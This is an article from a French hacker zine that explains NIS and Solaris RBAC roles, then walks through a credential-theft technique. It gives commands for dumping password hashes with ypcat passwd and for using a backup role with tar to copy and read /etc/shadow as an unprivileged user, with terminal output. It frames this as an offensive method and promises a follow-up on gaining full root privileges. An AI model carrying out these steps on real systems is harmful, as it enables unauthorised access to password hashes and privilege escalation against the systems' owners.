Tarback par xNeur0x Si vous ne devez lire qu'un article de ce zine, liseez celui-là. Pourquoi? parceque je pense que c'est de la newz de la vrai. Bon j'arrete. Connaissez vous les roles ? non ? arf ... rappel: Sur beaucoup de systeme Unix, on utilise NIS. NIS c'est bien pratique, mais pas du tout secure ! En effet c'est un vieux systeme et à l'epoque il n'y avait pas de fichier shadow ! donc par soucis de compatibilité on concatene le shadow dans le passwd ! (vive John the Ripper) Autre gros avantages de NIS (pour nous en tous cas) comme les fichiers passwd sont centralisés sur un serveur du LAN, tout passe par le rezo! (vive snoop ou tcpdump) Bref, tout le monde devrait installer NIS+, mais personne le fait car c trop compliqué! rappel2: pour voir si vous êtes en service NIS, tapez %ypcat passwd si vous avez kekchose c bon ! Mais bon, depuis le temps que NIS existe, "ils" ont trouvé la parade : LES ROLES RBAC(Role Based Access Control) donne une alternative au modèle de sécurité "tous les privilèges ou aucun". Le problème avec le modèle traditionel Unix n'est pas seulement que le root soit très puissant mais que les autres utilisateurs n'aient pas suffisament de privilèges pour rêgler leurs propres problèmes. RBAC permet d'assigner certains privilèges d'administrateurs à des utilisateurs. (ça sent bon tout ça non ??) Avec RBAC, vous pouvez donner la possiblité à de simples utilisateurs de résoudre eux-même leurs problèmes en leurs assignant des packages correspondant aux privilèges nécesaires. Les possiblités du root peuvent être divisées en plusieurs packages qui seront assignés séparément pour partager les responsablités d'administration. En résumé: RBAC permet la séparation des pouvoirs, le controle de la délégation des privilèges aux autres utilisateurs et un degré variable de controle d'accès. C4r4ct3ristiks: =============== Autorisation: Permission utilisée pour accorder l'accès à une fonction restreinte Profil d'execution: (ou plus simplement Profil) Mécanisme interne regroupant les auttorisations et les commandes ayant des attributs spéciaux, par exemple, les identités des groupes et des utilisateurs. Role: Type spécial de compte utilisateur permettant l'éxécution de taches administratives spécifiques. CompoNEnts: ============ RBAC met en relation 4 bases de données pour fournir aux utilisateurs des accès privilégiés: user_attr: qui associe les users et les roles avec les autorisations et les profils auth_attr: définie les autorisations prof_attr: definie les profils exec_attr: définie les opérations privilégiées associées à un profil Syntaxe: ======== chaque table à la meme syntaxe, c du grand classique: le caractère : est le séparateur de champ ex: nom:qualifieur:res1:res2:attribut le caractère ; sépare les paires clé-valeur dans les champs d'attributs ex: type_attribut=valeur;profile_attribut=valeur; le caractère , sépare une liste ordonnée dans une clé d'attribut spécifique, par exemple: ...;profile_attribut=profile_access1,profile_access2, ... Acceder à un role: ================== Pour assumer un role, servez vous de la commande su. Vous ne pouvez pas vous logguez avec un role. % su monrole Password: # Pour exécutez les commandes du profil, tapez les simplements dans un shell, ex: #lpadmin -p maprinter options ici, la commande lpadmin est éxécutée avec les attributs du processus, UID et GID spéciaux, qui ont été définis pour la commande lpadmin dans les profils assumés par le rôle. Gestion des roles: ================== roleadd: ajoute un role sur le systeme useradd: ajoute un compte utilisateur au systeme La commande roleadd: options courantes: -c commentaires -d dir: le rep d'acceuil du nouveau role -m création du rep s'il existe pas -A autorisation et -P profile exemple: #roleadd -m -d /export/home/tarback -c "backup privilégié" -P\ "Backup and Restore" tarback Cette commande crée un nouveau role appelé tarback, dont on verra la subtilité tt à l'heure ... A noter que ce type de role est TRES souvent utilisé. Let's GOO! ========== Bon, vous etes sur un systeme avec un utilisateur tout con, appelons le userb. regarder dans /etc/user_attr si vous avez une ligne du style: userb::::type=normal;roles=datuser,tarback le mot important est tarback, mais faite un grep avec le mot tar, c'est ce qui nous intéresse ici. $id uid=102(userb) gid=1(other) Donc, comme on le voit grace à id, on a pas grand chose comme droit $more /etc/shadow more: cannot open /etc/shadow Ben zut alors ! bon, on se décourage pas! $tar cvf /tmp/shadowfile.backup /etc/shadow tar: ./shadow: Permission denied re-zut! Mais on se décourage tjrs pas! c'est là qu'intervient la magie: $su tarback Password: saisissez le mot de passe que vous connaissez pour userb $cd /etc $tar cvf /tmp/shadowfile.backup ./shadow a: ./shadow 2K $tar tvf /tmp/shadowfile.backup tar: blocksize= 8 -r-------- 0/3 411 Mar 06 22:08 ./shadow $exit on quitte le role tarback pour revenir en userb $ls -l /tmp/shadowfile.backup -rw-r--r-- 1 userb other 2048 Mar 06 22:10 $cd $pwd /export/home/userb $tar xvf /tmp/shadowfile.backup tar: blocksize = 4 x ./shadow, 411 bytes, 1 tape blocks $cat shadow c t'y pas bo ? et 1 shadow, 1 ! CONCLUSI0N: c'est une bonne methode pour avoir un shadow, pensez aussi NIS, ça marche dans bcp de cas ypcat passwd !!! Dans un prochain Phile, on verra comment utiliser pour sois les roles: avoir tout les privileges, a tout moment, sans cracker le compte root! xNeur0x